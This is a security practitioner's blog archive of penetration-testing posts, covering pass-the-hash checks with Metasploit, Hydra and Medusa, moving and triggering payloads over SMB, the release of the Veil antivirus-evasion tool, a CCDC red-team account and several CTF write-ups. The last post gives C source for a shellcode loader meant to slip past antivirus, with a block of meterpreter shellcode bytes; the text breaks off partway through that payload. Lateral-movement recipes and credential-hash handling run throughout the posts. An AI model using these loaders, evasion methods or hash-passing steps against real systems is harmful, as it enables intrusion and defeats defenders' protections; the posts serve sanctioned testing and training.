I Have the Password Hashes! Can I Pass Them?

August 29, 2013Christopher Truncer Featured Category, Pen Test Techniques hash, Hydra, medusa, pass the hash, psexec, smb, smb_login 7 Comments

When on a pen test, you’re going to get password hashes. It’s going to happen. Something that I like to see is where the credentials we have may also be used throughout the rest of the target network. There’s a couple different tools that you can use to rapidly check system hashes across an IP range, and I try to detail some of them below.

Note: THIS IS GOING TO GENERATE A LOT OF NOISE! I can’t reiterate that obvious fact enough. If you’re trying to not get caught, you do NOT want to rapidly check whether a single hash works against a large IP range.

Metasploit’s smb_login:

Metasploit has a module for verifying that the OS hash you’re specifying is valid for one or more IP addresses. It’s the auxiliary/scanner/smb/smb_login module, and definitely worth checking out. Armitage and Cobalt Strike both invoke this module when performing a “Check all creds” scan within their respective tools.

After loading the smb_login module, you’ll want to configure your options, I’ve provided mine below:

When I attempt to use this module (and really, any password checking tool listed here), I try to be as target as possible, so I typically disable the blank password check and the username as password option (unless either is actually the username and password). The reason I do this is because I’m testing a hash I already have obtained from another machine, not attempting to performing an online brute force attack.

After configuring the module with all the options it needs, you should run it and see something similar to the following (hopefully):

Hydra:

Hydra is probably among one of the most popular online password attacking tools out there today. It supports a large number of protocols, and what’s awesome is that Hydra does support checking windows hashes! To do this, we need to provide the user account we’re checking with the “-l” switch, provide the password hash with the “-p” switch, and the IP of the machine that we want to check (or a file with a list of IP addresses that we are attempting to check against). We also need to provide a couple options with the “-m” switch, specifically that we are checking a local account (or you can tell it to check a domain account) and that we’re providing a hash vs. a cleartext password. Finally, we tell Hydra the protocol that we want to target, and in this case, it’s smb.

When it’s all said and done, your console should look similar to the following:

Medusa:

Medusa is another tool that can be utilized to check Windows hashes against a large range of IP addresses. In this example, we’ll create files to store everything that we need to pass into Medusa. The “-H” switch is going to contain the list of IPs that we want to check, the “-C” switch is a file that contains our username and password hash we are checking, the “-M” switch tells medusa the protocol that we want to check, and the “-m” switch informs Medusa that we’re going to be checking with a password hash vs. a cleartext password.

Our password hash file should be in the following format:

Tester:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Your console should look similar to the following:

One thing you could do is pipe the output into grep and just search for the “SUCCESS” string, and as you’re running your hash check, you’ll receive all the systems you are able to successfully log into.

Note: Upon being nearly completed with this article, a friend sent me another already published article on testing the speeds of online password tools, which can be viewed here.

Multiple Methods for Dropping Payloads with Credentials (or Hashes)

August 15, 2013August 16, 2013Christopher Truncer Featured Category, Pen Test Techniques credentials, payloads, Veil 2 Comments

I like the cliche that “There’s more than one way to skin a cat” because it’s how I like to operate. I like to have a lot of different options to choose from when attempting to reach a certain goal. In my previous post, I showed how psexec_command can be used to trigger an executable once it’s been placed on a machine. But this could lead to the question, how can we get our payload on to our target machines in the first place?

This post won’t go into how to get your initial compromise, I assume you’ve already done that, and you’ve been able to dump hashes (and now because of mimikatz’s awesomeness) and/or cleartext credentials. So the next step in an assessment is not to blindly move around a network, but to identify targets of value. Once you’ve done this, our goal is to get our payload onto that target. I’m going to show you a couple of different ways that you can do this, and I’d love to hear from anyone else on other ways to place a binary on a machine.

But for now, our first method, a normal shell.

Note: All methods displayed below will only work if the account you are operating as has permissions to drop binaries/files in the locations you are doing so. Otherwise, it won’t work.

Windows Shell:

We can use a normal shell within windows to help us move our payload around the network. The nice thing about using the built in shell is that it doesn’t require the use of any other tools and is simply using built in OS capabilities. In our picture below, I’m interacting with a shell prompt spawned on a machine through a meterpreter session. We can see that we have a binary called “evilpayload.exe”. So, our goal is to move this payload from one machine to another. This is easily done by using the copy command from within the shell and pointing our payload (which in this case is already on our compromised machine) towards a share on our target machine, as demoed below:

Metasploit Upload:

Metasploit has the capability to simply upload a file to a machine when provided with all the required options. To use this, call the auxiliary/admin/smb/upload_file module. As you’ll see in the picture below, I’ve provided a sample set of values that will allow the module to upload my payload to the target machine. One item to note, the picture does not show the SMBUser, SMBPass, and the SMBDomain values being used with the module. You will need to provide values for those (advanced) options in order for the module to authenticate and upload the payload to your target machine.

Once all options have been provided, executing the module will upload your binary to the target machine.

Chris Gates wrote up an awesome attack path he encountered and used the upload_file module, and can be seen here.

Metasploit Psexec:

The metasploit psexec module can be used to upload a binary, either custom compiled or generated by the metasploit framework, onto the target machine. The obvious difference with this module is that after uploading the binary to your target machine, the framework will create a system service which executes the payload, as compared to almost all other methods within this post that simply drop the binary on the system.

As you view the screenshot below, we can se that our binary was uploaded and triggered, so we received our callback. One item to note is that even when providing a custom executable (as I did below), the executable is renamed when it is dropped on the target machine. In the event that you need to trigger your executable again, you’ll need to note the executable’s name on disk (in this instance, it is LtcvppBc.exe).

SMBClient.py:

The impacket library has been something that I’ve been playing around with for a little bit lately. It has a lot of cool capabilities and allows you to write scripts to interact with a variety of protocols, one of them being SMB. SMBClient.py is a sample script written by the developers of the impacket library to show how the library can be used to interact with SMB. Smbclient script will let us connect to a remote share with either cleartext credentials or a hashes and upload our binary.

To initiate the connection, we’ll use open and then the ip address of the machine we want to connect to. Once we’ve connected to the machine, we’ll authenticate with the credentials we’ve already obtained via the login command (if we only had hashes, we would use the login_hash command). Once authenticated, we type shares to see the list of shares to connect to, and then use the C$ share. Now, it’s simply invoking the put command, along with the file we want to upload, and then it’s complete. You can use the ls command to verify that your file has been placed on the remote machine.

A sample workflow on how this can be used is in the screenshot below.

Psexec.py:

The impacket library developers also left us with another awesome script for uploading files to a machine, and it’s their implementation of psexec, using the impacket library, within a python script. This script will let us spawn a command shell on the target machine, but also comes with extra capabilities, such as the ability to upload files. We can use this script to upload our payload, and then execute it. Great part about it, is that our session is going to be running as System!

To call psexec.py, we provide it with the credentials we want to authenticate to the machine with, the IP address of the victim machine, and the process we want to spawn. After this, it’s simply using the put command to drop our payload on the machine, and then we can just call it within the command shell.

Larry Spohn also wrote a great post on combining Veil with psexec.py which you can read here.

A sample workflow of the psexec.py script can be seen below:

I hope this has helped to give everyone multiple different options to drop files on machines when you have user credentials. There are other ways as well, and I’m interested in hearing other methods that have been useful for you.

psexec_command – When You Can’t Trigger Your Payload

August 8, 2013August 10, 2013Christopher Truncer Featured Category, Pen Test Techniques metasploit, psexec_command 1 Comment

Ever been able to drop a payload on a machine, but not execute it? I’ve had a few odd times on assessments and/or CTFs where I’ve been able to drop a payload onto a machine that I am targeting, but haven’t been able to trigger it. An example I can talk to is when I’ve created a custom executable, such as one generated from Veil, and use metasploit’s psexec to drop the payload on the machine (which I’ve already obtained hashes or clear-text credentials), but upon uploading the executable to the target machine, for some reason, I don’t get the callback. When this happens, as long as I can verify from the metasploit output (assuming that I used metasploit’s psexec) that uploading the binary was successful, I can use psexec_command to attempt to re-trigger the payload.

So, how do we do this? Here’s how I’ve made this work before:

First, we need to attempt to psexec into a machine with our custom executable. One thing to note, I prefer to use the C$ share when dropping a payload on a machine. There’s no real reason other than the command you provide to metasploit (later) is shorter. Once you’ve provided Metasploit’s psexec module with all the options it needs and execute it, you should see something similar to the following:

But what we sometimes don’t get is the all-important awesome sign of “Sending Stage…”. So.. how can we fix that?

Based off of the Metasploit log above, we can see that our custom executable was uploaded to the target machine as wdKedAbD.exe and it was dropped into the C$ share. We have all the information necessary to manually call our executable and attempt to trigger it via metasploit’s psexec_command. To do that, our configuration should look something like the following:

Note: You will need the double backslashes when setting your “Command” value.

The thing to note here is that we are calling the same executable that was uploaded in our original psexec attempt. This is what is allowing us to attempt to re-trigger the payload that was already uploaded to the machine. With all of our payload variables set, we can now run this single command against the same machine. The output upon executing our psexec_command module should look like the following:

We can see from this output that our payload was triggered, and the second stage was sent, and we opened a new meterpreter session. Success!

If anyone has any questions, feel free to ask here or on twitter @ChrisTruncer!

Veil – A Payload Generator to Bypass Antivirus

May 30, 2013July 10, 2015Christopher Truncer Featured Category, IT Security backdoor, bypass antivirus, Veil 144 Comments

NOTE: Please, be kind, and don’t submit any payloads to ANY online virus scanner! Please be sure to check out https://www.veil-framework.com, Veil’s website for the latest tutorials, updates, and repo location. Any questions on using Veil? Join us in #veil on Freenode!

On nearly every assessment, pen testers have to fight a battle against antivirus solutions. The level of effort that goes into each “battle” relies on the AV solution, its definitions, etc. Researching methods to bypass antivirus solutions has been an interest of mine on and off for the past 6 months. About two months ago I started to take a more serious look in how I could take my recent research and turn it into something that more usable and useful. I set out with a couple goals:

Bypass common AV solutions that I/we routinely encounter in most network environments
Utilize payloads that are compatible with the Metasploit framework, and expand upon these in future releases
Attempt to make each payload file as random as possible

With these goals in mind, I continued researching methods of bypassing AV. Since I wanted to maintain metasploit compatibility, I chose to use shellcode generated by the metasploit framework, specifically msfvenom. To accomplish this, I began looking into other available research, which is where I discovered a number of interesting techniques that a variety of people, such as Dave Kennedy and Debasish Mandal, already began to develop. From their research, I learned about really interesting ways to inject shellcode into memory through python. These methods were the foundation of the rest of my research.

Since the majority of our assessment are against predominantly Windows environments, it was important that the tool worked reliably against these systems. Since I chose to write the tool in Python, I had to figure out how to package the Python output files containing the obfuscated shellcode to execute on Windows without requiring Python to be installed on the target machine. One of the solutions I looked into was using Py2Exe. I knew other software used this method to convert their Python-based scripts or tools into an executable that could run on Windows and figured I could do the same. I began testing Py2Exe with the payload files I developed and was successful running the executables on various versions of Windows, so I stuck with that solution. The final part was for me to develop a tool that automated the payload generation process, and I’m happy to release Veil.

Veil is currently capable of using 7 different methods to make 21 different payloads, all of which result in meterpreter connections. Veil provides the user with the option of using either Pyinstaller or Py2Exe to convert their python payload into an executable. With Pyinstaller, Veil users and have their file converted into an executable all within Kali and does not require the use of a second VM/Machine. When using Py2Exe,Veil will generate three files to which are required to create the final executable; a payload file (in Python), a file with runtime instructions for Py2Exe, and a batch script which handles converting the payload file into an executable. To generate the final payload, copy the three output files to a Windows host with Python, Py2Exe, and PyCrypto installed and execute the batch script. This will build the final executable that is uploaded to the target. The executable file can be dropped anywhere, on any Windows system, as all required libraries are stored within the exe file. Once dropped on a system and executed, the payload will result in a meterpeter callback that is undetected by AV.

I’ve tested the packaged executable against multiple AV solutions (MSE, Kaspersky, AVG, Symantec, and McAfee), on both test systems and “in the wild,” and have a very high success rate, bypassing detection in almost every circumstance. I hope that, by releasing this tool, I can enable others in the community to provide more effective assessments by allowing them to focus their efforts on security risks and spend less time bypassing ineffective security measures that wouldn’t deter an actual adversary.

Setup:

For Kali:

Run the setup script (setup.sh) and follow the installation process.
Once the setup script has completed, delete the setup script.

For Windows (when using Py2Exe)

Install Python 2.7 – (tested with x86 – http://www.python.org/download/releases/2.7/)
Install Py2Exe – (http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/)
Install PyCrypto – (http://www.voidspace.org.uk/python/modules.shtml)

Instructions for Use:

Run Veil from Kali and generate your payload.
If using Pyinstaller, your payload will be converted into an executable and is available for immediate use.
If using Py2Exe
- Move the payload.py along with its two accompanying files onto your Windows machine (that already has python and the other dependencies from above installed). All three files should be placed in the root of the directory Python was installed to (likely C:\Python27).
- Run the batch script to convert the Python payload into an executable format.
Place the payload file on your target machine through any means necessary!

Future Direction:

Research new methods of encrypting or obfuscating the payload.
Research other languages with direct access to the Windows API for delivering the payload.

Want to play with Veil? Feel free to do so. Download, clone, do anything you’d like with it. You can download Veil here – https://github.com/Veil-Framework/Veil-Evasion.

I hope that it can help others on their tests just as it has helped me. Please, if anyone has additional functionality they would like to add, I’d love to have input from the community!

References:

Dave Kennedy – http://www.trustedsec.com/files/BSIDESLV_Secret_Pentesting_Techniques.pdf

Debasish Mandal – http://www.debasish.in/2012/04/execute-shellcode-using-python.html

Red Teaming a CCDC Practice Event

January 27, 2013May 22, 2013Christopher Truncer Featured Category, IT Security armitage, ccdc, cortana, red team 12 Comments

This weekend I was invited to be a member of a red team for a local CCDC team. I’ve been interested in checking out how CCDC works, and this was my first opportunity to be part of it.

For the 20 minutes before the red team was allowed to go, we began mapping out different strategies and attack paths that each member would carry out. Off the break, I was in charge of exploiting systems, and attempting to get shells. We had two other members who were in charge of mapping services active on hosts, one member in charge of scanning hosts for vulnerabilities, and one for post-exploitation work and establishing persistance once the team received a shell. We decided to centralize our work and I setup a team server for use with Armitage. In the end, this was a great decision. We were very easily able to share sessions opened up with targets, and allow everyone to access all information as we obtained it from hosts (such as hashes that were dumped, keystrokes logged, etc.). Any CCDC or team CTF event should absolutely use this awesome capability.

Immediately after we started, 08_067 was sent to the entire blue team IP range, and followed quickly by 09_050. Within 5 seconds we were in one of their boxes as system and we immediately began post-exploitation by dumping hashes, creating accounts, and creating services that call back to us. While on the box, we were watching the blue team attempt to install patches to prevent us from re-exploiting and regaining access. However, a red team member killed the update process, which caused the machine to endlessly reboot.

The blue team decided to revert the entire machine, take the machine offline, and then patch the entire machine. After talking with others on the rules, we found out that this is definitely an illegal action (taking the machine off the network) and would cost the blue team points. However, it appeared to be an incomplete patch performed against the machine because once the machine went back online, we were able to re-exploit it with 08_067. Getting onto the machine when we did let us gain control of their domain controller.

Immediately when we jumped back on the machine, we took a screenshot and saw that the blue team was in the process of trying to join the computer to their domain. We immediately activated a key logger, and obtained 3+ different passwords that must have been used throughout their network (it appears the blue team forgot which password was the password for their domain admin account, so they were trying them all). After about 20 minutes of keylog dumping, we obtained the domain admin account credentials and were able to psexec onto the domain controller. We immediately dumped hashes and obtained credentials.

Both machines we were on were a constant battle as the blue team loaded on a significant number of tools to monitor processes and outgoing connections from their machines. This led to constant battles as processes were constantly being killed due to the very active defense of the blue team.

Overall, these were the only two machines we were able to control (out of 10 total). Probably the biggest reason for this was because at least half of the IP range were computers that weren’t actually brought online. Another reason, the blue team had (accidentally) uninstalled required services on the few machines that were online. This significantly reduced the attack surface on nearly all their active machines.

Some of the overall notes that we provided to the blue team in our wrap up was:

The blue team needed to work immediately on patching their machines, but to prioritize the patches by starting with any patch eliminating remote code execution. Additionally, they need to ensure the patches were applied to the machine and are active. The blue team had thought that they patched certain exploits, only to have the red team break back in with the same exploit they thought was patched.
The blue team needs to assume once the red team breaks in, that everything related to that machine is compromised, such as account credentials. We suggested that the blue team should rotate passwords regularly (if possible), but definitely after a compromise of the machine.
Ensure that all default credentials for services or web applications are changed.

What the blue team did well:

Active defense. The blue team very actively monitored processes running and monitoring connections from their boxes. This led to multiple battles where the blue team was killing our connection while we began re-establishing them. This was definitely their strong point. They seemed to know exactly what was running on their boxes and were good at determining what we were running.

What the red team can do:

In my opinion, the best thing we could do for the next practice session is automate a large portion of our post-exploitation activities. By all means we performed post-exploitation effectively, but I think it would be great to create a couple cortana scripts that are triggered upon certain events. For example, on a meterpreter session, we immediately dump hashes, create user accounts, create persistent services, and attempt to pass obtained hashes to other windows machines within the target range. Automating these tasks will free up the red team to perform other activities and automate the manual work.

Ghost in the Shellcode Teaser – Poetry Writeup

January 12, 2013May 22, 2013Christopher Truncer CTF, Featured Category Leave a comment

Our team was presented with the following text for the Poetry challenge:

Poetry

The answer is the
md5 of a famous
cryptographic key

Hint:
In case you wondered,
it’s not DECSS.
Please, continue on.

We had a bunch of first impressions after reading this. Obviously we wanted to think it was related to poems, or haiku’s in general, but due to the decss reference, we also thought it was technical in nature. We initially did a lot of research into the ps3 metldr key that geohot released, the bluray decryption key, and the hdcp key that was leaked. However, md5ing the keys did not provide the answer.

A hint was later released that they key should include both a mixture of lower and uppercase characters. When this was released, this immediately told us our approach was incorrect because the keys we previously attempted were either binary or hexadecimal in nature, and therefore the character “state” of the key meant that these were incorrect.

We also researched poem ciphers since the question was given to us in the form of a haiku. We found that there was a famous individual who helped write poems for their use in cryptology in WW2. We thought we were on the right track, but nothing returned us any results based on the poems written, or finding any sort of a key used within the poems.

It was discovered when performing a google search for decrypt key haiku -decss that Apple had multiple articles written about it. When viewing the second result (the pdf of a US court case) Apple wanted to prevent a haiku they wrote from becoming public because it was their decryption key. Their decryption key was:

Our hard work by these

words guarded please don’t steal

(c)Apple Computer Inc

When we take the key and change it to:

Ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc

and then md5 that phrase [ md5(ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc), we receive the following hash 74b8fa920f8c4eaacf65e46afbe840de which was the key.

Hack3rcon 3 CTF Writeups!

October 22, 2012May 22, 2013Christopher Truncer CTF, Featured Category ctf, ctf writeup, hack3rcon Leave a comment

Over the weekend, I, along with @TheMightShiv, had the opportunity to form up a team (Team Rage Quit) and compete in the Hack3rcon CTF. It was a great time, provided some well thought out challenges and was a lot of fun to do.

The CTF was created and managed by @The_XRG crew. These guys definitely need a shout out:

Debug – @johndegruyter
Trey – @treyperrone
Steve – @kill9core
Ray – @zer01ne

The CTF consisted of 12 different challenges of various skill levels. Four of the 12 challenges were released Friday evening, and the other eight were released the next day.

The first challenge consisted of a pcap file. It required us to analyze the pcap file of a nmap scan. We had to determine which ports were open and responding. We opened the pcap file using tshark with the -r flag which dumped the file to standard out. We then grepped for SYN ACK responses. This returned out the ports that were open, however it returned it in a format that resolved the service names to the ports rather than just the port numbers. When we used the -n flag in tshark in conjunction with the rest of the scan, we received all port numbers and could use that to submit the flag. We then used cut to pull out the port numbers and piped the output into tr and used it to replace the whitespace with colons.

The second challenge was a phone number that we needed to get. We were provided with a md5 hash, told that the phone number followed the format of 304-XXX-XXXX, and told that we needed to find the flag. This was done with hashcat. We created a custom mask of -1 3 -2 0 -3 4 -4 – and then used a mask based attack with the following mask ?1?2?3?4?d?d?d?4?d?d?d?d. Hashcat was quickly able to produce the correct phone number. However, when submitting the phone number multiple different ways, we weren’t getting the flag. Finally, we decided to call the phone number, and were greeted with a message congratulating us with finding the phone number and giving us the actual flag.

The third challenge was an .apk file. We immediately downloaded the tool dex2jar. This tool allowed us to decompile the .apk into a .jar file. Once we had the .jar file, we used JD-GUI to view the source code of the .jar file. Within the source code was the third flag.

The fourth challenge contained the flag under multiple separate smaller challenges and started off with a pcap file. We determined that it was traffic from a wireless network encrypted with WEP. Aircrack-ng was able to obtain the WEP key, and we then used airdecap with the wep key to obtain the cleartext packet capture file. Once we started looking at the unencrypted pcap, we see multiple types of traffic on it, a significant amount of ARP traffic, some FTP traffic, and some e-mail traffic. The FTP traffic was a file transfer of a zip file called “flag4.zip”. We used the tool tcpxtract to extract the zip file out of the packet capture. When attempting to open the zip file, we saw that it was password protected and nothing we currently had worked. We started reviewing the pcap again and saw an e-mail that contained the phrase “This should work” and then an encoded string. We identified the string as being base64 encoded, and then decoded it. The decoded string contained the password to the zip file, which we then unzipped and obtained the flag file for the fourth challenge.

According to the website where we received our challenges, challenge 5 & 6 were exploitable via the same exploit. The challenge was a web application that looked like a blog allowing comments. We setup BURP to act as our proxy while analyzing the web application’s source code. We noticed when requesting the web page, that there was an additional request made that included multiple css files stored on the web server. We tried adding the index.php file to the list of files that are being requested by the web application, and the server responded with the source code of the index.php web page. Within the source was the database connection information, along with the fifth flag. Since we identified the fifth flag through LFI, we assumed the sixth flag was found via LFI. We noticed that there is an admin login interface for the blog. When we included the page (admin/index.php) to the list of files being requested, the source of the admin login page was returned and that included the 6th flag.

The 7th challenge was a machine that was only listening on ports 139 and 445. There were absolutely no other services running on the box and everything appeared to be patched. This machine was not able to be compromised until we compromised the machine used for challenge 8 and 9. This challenge will be addressed after challenge 8 and 9.

Challenge 8 and 9 were running on the same machine. Challenge 8 was to crack joedirt’s password. Since 8 and 9 were on the same machine, we assumed we had to compromise the machine, obtain the hashes, and then crack the hash. Challenge 9 told us to find the flag on the machine. When we port scanned the machine, we saw multiple ports running the same 1.65 version of WARFtp. We were able to use the metasploit warftp 1.65 username overflow exploit to exploit the service and receive a meterpreter callback. Once we elevated to system level privileges, we ran the hashdump module and obtained the hashes. We used the online cracking website Objectif Securite to crack the LM hash and submit it for the challenge 8 flag. We then searched the users box using meterpreter’s built in file searching functionality and found the the 9th flag.

With the hashes obtained from the machine, we performed a pass the hash attack against the box used for the 7th challenge. We used the Administrator account, and its hash, from the challenge 8 box, and were successfully able to authenticate to the challenge 7 box. It was intended to work this way. However, our team were able to get into the box another method. We loaded incognito on the box from challenge 8 & 9, and stole the token for the Administrator’s account. While impersonating the Administrator, we mounted the c$ share of the challenge 7 box and then found the flag that way.

Challenge 10 said we needed to find a flag that was on the same web application used in challenge 5 & 6. We went back and looked at the web application, and searched more for SQL injection oriented attacks. We started looking at how comments were being displayed on the blog, and discovered the comments for a specific page were being displayed based off of an ID variable set in a GET request. We used SQLMap to test for injection against the ID variable and found that it was vulnerable to the injection attack. We dumped the database and discovered a flag table and found the flag within the table.

Challenge 11 pointed us to a web application hosted on a different website. This appeared to be a wordpress blog. Glancing over the blog didn’t reveal any major holes in the application. We ran Nikto to test for any quick vulnerabilities, and it discovered the “test” directory available on the web site. When we browsed to the directory with a web browser, it contained the flag.

Challenge 12 was a WEP encrypted network. The challenge was to submit the WEP password as the key. We used airodump, aireplay, and aircrack to run an attack against the wireless network and obtained the key.

After working our way through all of the flags, we were lucky enough to come in first place and received two Hak5 Wifi Pineapples as prizes from the 304Geeks who put on Hack3rcon. Overall, it was a great con where we were able to interact with speakers quite easily, make new friends, and compete in the CTF. We’ll definitely be headed back again next year and I’d like to recommend everyone should do the same.

Bypass Antivirus with Meterpreter as the Payload & Hyperion Fun

August 28, 2012December 16, 2013Christopher Truncer Featured Category, IT Security antivirus, bypass antivirus, hyperion, meterpreter 30 Comments

Note: Check the tool I work on with a great team, Veil. It is designed to generate payloads for bypassing Antivirus. This is more up-to-date than this post.

On any pen test, you will discover a number of hosts that are vulnerable to a variety of exploits. So after gathering all the information we can about our target(s), one of the next few steps may be to exploit the system. Typically, I love using meterpreter as my payload because of the functionality that it offers. Our team would then fire up Metasploit, configure our exploit for our target, exploit the box, see us uploading the payload, only to have nothing happen.

So what’s the problem? Well, obviously it could be a number of things, versions are wrong, exploit just didn’t work, etc. It’s also very possible that everything is working correctly, except the host-based anti-virus caught your meterpreter payload, and won’t let you get on the box. I’ve come across this problem multiple times, and would love to share a technique that I use to try to circumvent the anti-virus installed on a machine.

First, I’m happy to give credit to two great writeups here and here that I looked up and incorporated into this attack. I saw a few things that needed to be edited and tried to compile what I did (based off those two articles) into this post.

One of the methods of bypassing anti-virus is to create a “custom” executable template for meterpreter. As a starting point, you can use the following as a base to your source code (go ahead and open your favorite text editor, lets call the file “base.c”, and add the following):

// This should be random padding
unsigned char padding[]=

;

// Our Meterpreter code goes here
unsigned char payload[]=

;

// Push Meterpreter into memory
int main(void) { ((void (*)())payload)();}

With the rough outline of our code down, the first thing we will want to do is create the random padding we want to put at the beginning of our file. You can easily change the size of your random padding by deleting the “1028” from the following command, and replacing it with the size you want to use.

Our command and its output should look similar to the following:

Go ahead and paste the random padding into our base.c file into the appropriate section at the top (in between double quotes). Our code should now look similar to the following:

// This should be random padding
unsigned char padding[]=
"F9d9CxkqvLlodqpws5x4KoI3KoLdcLTae-0DMrcDZiscZi7Gmzug6g1n8L_W6pzPR-bGsm74TBHy3GDof6o-cMIAaiF5nEvEadpxl9p94w12fiLDreuEjLLhW2QXFbKBAIWOKXvMoiBGZHZY4Lyk24HTPuTonrTbf__hZ0G_q_5DVXfKU0s-muqroz-U6j-wDrX2CzKapy8o1Y5zGo0T3BozAuzwe7Q1A-R4JIWEU8LR-8MJrlF5ZthMo4M661VM8-6CY7duKz29tiPr5IEtpYXBVJyhHYCsPd5iVrNc3wzSVQ6jP9dht-znpNi4-wqWVjKng_3j5WjOlva3_jqLcqkMQ5NfrT7ipYlqxvqgYMUU8rvo9PS_DVkA3tM0W1T6BXLE7nmvZmxojfwfNKQEzzCn1-tYyqcd1z1UTnGEIoZp2sHY-kgofDDnHbNk-4-oMQdwuBt56oCWh7jcNwokcpte26FLJBX4C-yM46CJUlNFrgBg28776xxlTyC02Hs-YdkR-rJNvTt3OWOdCNt-1ocoj20QskIVdv2_XZgrTnxyIEOBBYrrmKHgBq4Qvd816iK1Ua2ZymTVRov1qJeiqvIoCr-hufUkQGjMCCGGSAjPacemgU3ztZZZJIPpB7Dc_zIpkSsaCr0kpDz9lFPn-Fn--cQh2l2gUIA8eiMHFeMLDh40da83tfThQqd_MsGb2OL2LmGCpV_QUdbFecP6-eI80sZG34j9Z3ur_6blZbu1f1qjME-bJKJ2ueT0arvydnnfzHIOt-vt26f0cBeE_11hUiTYmhtH9U4Mppe-eVMUJ5E3XU-Q-20-qCZZBWGV0kK4Lpxu8QGI_NrkRcS3CEantKhUkIaxxXWZRJvk0uEcB_YHerHjZT6Fw8_omY8O2BLT5sAg7f-MQm1P8RfTXYILiTbaqzxvg44y8zdEQpzPY4bgy3svNFVheIseFmOPKs-jL5eJkOlrkvniKFwCKatGKF8Aewli1sYmLP3HKVK8Voy-7b-j377x-SMQKUyByz9F"
;

// Our Meterpreter code goes here
unsigned char payload[]=

;

// Push Meterpreter into memory
int main(void) { ((void (*)())payload)();}

Now that we have the padding in our base file, we can create our meterpreter shellcode. I find it easiest to create the shellcode with msfvenom. You can go ahead and create your shellcode using nearly the same command I am using here, just be sure to change your payload option values:

With our meterpreter shellcode generated, go ahead and copy just the shellcode and paste it into the appropriate section within our base.c file. Once you’ve done that, our base.c file should look similar to the following:

// This should be random padding
unsigned char padding[]=
"F9d9CxkqvLlodqpws5x4KoI3KoLdcLTae-0DMrcDZiscZi7Gmzug6g1n8L_W6pzPR-bGsm74TBHy3GDof6o-cMIAaiF5nEvEadpxl9p94w12fiLDreuEjLLhW2QXFbKBAIWOKXvMoiBGZHZY4Lyk24HTPuTonrTbf__hZ0G_q_5DVXfKU0s-muqroz-U6j-wDrX2CzKapy8o1Y5zGo0T3BozAuzwe7Q1A-R4JIWEU8LR-8MJrlF5ZthMo4M661VM8-6CY7duKz29tiPr5IEtpYXBVJyhHYCsPd5iVrNc3wzSVQ6jP9dht-znpNi4-wqWVjKng_3j5WjOlva3_jqLcqkMQ5NfrT7ipYlqxvqgYMUU8rvo9PS_DVkA3tM0W1T6BXLE7nmvZmxojfwfNKQEzzCn1-tYyqcd1z1UTnGEIoZp2sHY-kgofDDnHbNk-4-oMQdwuBt56oCWh7jcNwokcpte26FLJBX4C-yM46CJUlNFrgBg28776xxlTyC02Hs-YdkR-rJNvTt3OWOdCNt-1ocoj20QskIVdv2_XZgrTnxyIEOBBYrrmKHgBq4Qvd816iK1Ua2ZymTVRov1qJeiqvIoCr-hufUkQGjMCCGGSAjPacemgU3ztZZZJIPpB7Dc_zIpkSsaCr0kpDz9lFPn-Fn--cQh2l2gUIA8eiMHFeMLDh40da83tfThQqd_MsGb2OL2LmGCpV_QUdbFecP6-eI80sZG34j9Z3ur_6blZbu1f1qjME-bJKJ2ueT0arvydnnfzHIOt-vt26f0cBeE_11hUiTYmhtH9U4Mppe-eVMUJ5E3XU-Q-20-qCZZBWGV0kK4Lpxu8QGI_NrkRcS3CEantKhUkIaxxXWZRJvk0uEcB_YHerHjZT6Fw8_omY8O2BLT5sAg7f-MQm1P8RfTXYILiTbaqzxvg44y8zdEQpzPY4bgy3svNFVheIseFmOPKs-jL5eJkOlrkvniKFwCKatGKF8Aewli1sYmLP3HKVK8Voy-7b-j377x-SMQKUyByz9F"
;

// Our Meterpreter code goes here
unsigned char payload[]=

“\xba\xd7\x0c\xb4\xfa\xd9\xc1\xd9\x74\x24\xf4\x58\x2b\xc9\xb1”
“\x57\x83\xe8\xfc\x31\x50\x0e\x03\x87\x02\x56\x0f\xfd\xca\x4f”
“\x84\x25\x19\xd5\x05\x4e\x2c\x7c\x9b\xb9\x67\x30\x73\x88\x22”
“\x2b\x77\xbf\xd4\xc8\xb2\x5b\x6c\xf6\xd2\xd0\x3a\x54\xb7\xb6”
“\x6a\xd0\x10\xc4\xae\x92\xb7\x9b\xb4\x9c\x02\x72\xea\xfe\x1d”
“\xb9\x31\xbf\x3e\x09\xf5\x69\x25\xcb\x31\x56\x43\x8b\xec\xfe”
“\xd1\xbf\xad\x50\x7e\x8f\x9d\x5f\x13\xb8\xd6\x4a\x03\xfc\xb1”
“\x89\x08\x6f\xf9\x35\x3b\x1a\xd3\xf7\xe5\x50\x13\x0a\x0b\xc3”
“\x87\x34\x9c\x4c\x4b\xcf\xbf\x01\x20\x45\x85\x8e\x82\x1c\x0c”
“\xfa\x47\xa6\x03\xef\x16\xbd\xe9\x99\x87\xa9\xa9\x75\xf6\x6d”
“\x6c\x43\xa8\xd9\xd0\x18\xb4\xd1\x93\x18\xf1\x3f\x08\xd0\xe3”
“\x7a\x66\x1e\x90\x70\x90\xc3\x01\x61\xaf\xb4\xc0\x1e\xd8\x6d”
“\xb7\x88\xfa\x7b\x2d\x75\x2f\xea\xda\x22\x2f\x26\x7a\x7c\x4e”
“\x0a\xb8\x7a\xac\x1b\x74\x17\x3c\x92\x18\x6d\x67\xb3\x01\xb1”
“\x4a\x43\xe4\x72\xf8\x15\xf8\x4b\x4a\xfb\x65\xbb\xf2\x6f\xe9”
“\x9f\x58\x6b\xcd\x96\x7b\x80\xa9\xfe\xa6\x2e\xf7\xfa\xf5\x1d”
“\xc5\xd4\x3d\x73\xe2\xd2\x94\xce\x85\x35\x62\xc4\xb9\x1b\x87”
“\x20\x46\x16\xa6\xa4\xc2\x74\xfc\x5c\xfb\x83\x8b\x60\x4a\xd1”
“\x72\x48\xab\xd7\xd9\x86\x7f\x2b\xbb\x06\x74\x54\xf0\xb6\xb8”
“\xa8\x16\x97\xa2\xba\xc3\x79\x6f\xab\xdd\x6f\x3c\x74\x6c\xf4”
“\x9d\xcc\x34\x84\xef\x34\x0c\x78\xc1\xe9\x2e\x57\xf6\x73\x9f”
“\x12\x58\x6f\x48\xb5\x04\x45\x13\x86\x3c\xbb\xab\xce\x8a\x15”
“\x07\x65\x73\x0e\x50\xd1\xa2\x29\x6b\x46\x3b\x40\x9c\x56\x1a”
“\xb6\x8d\x22\x16\x66\x2f\xa8\x03\xdc\x58\x48\x91\x44\x18\xd9”
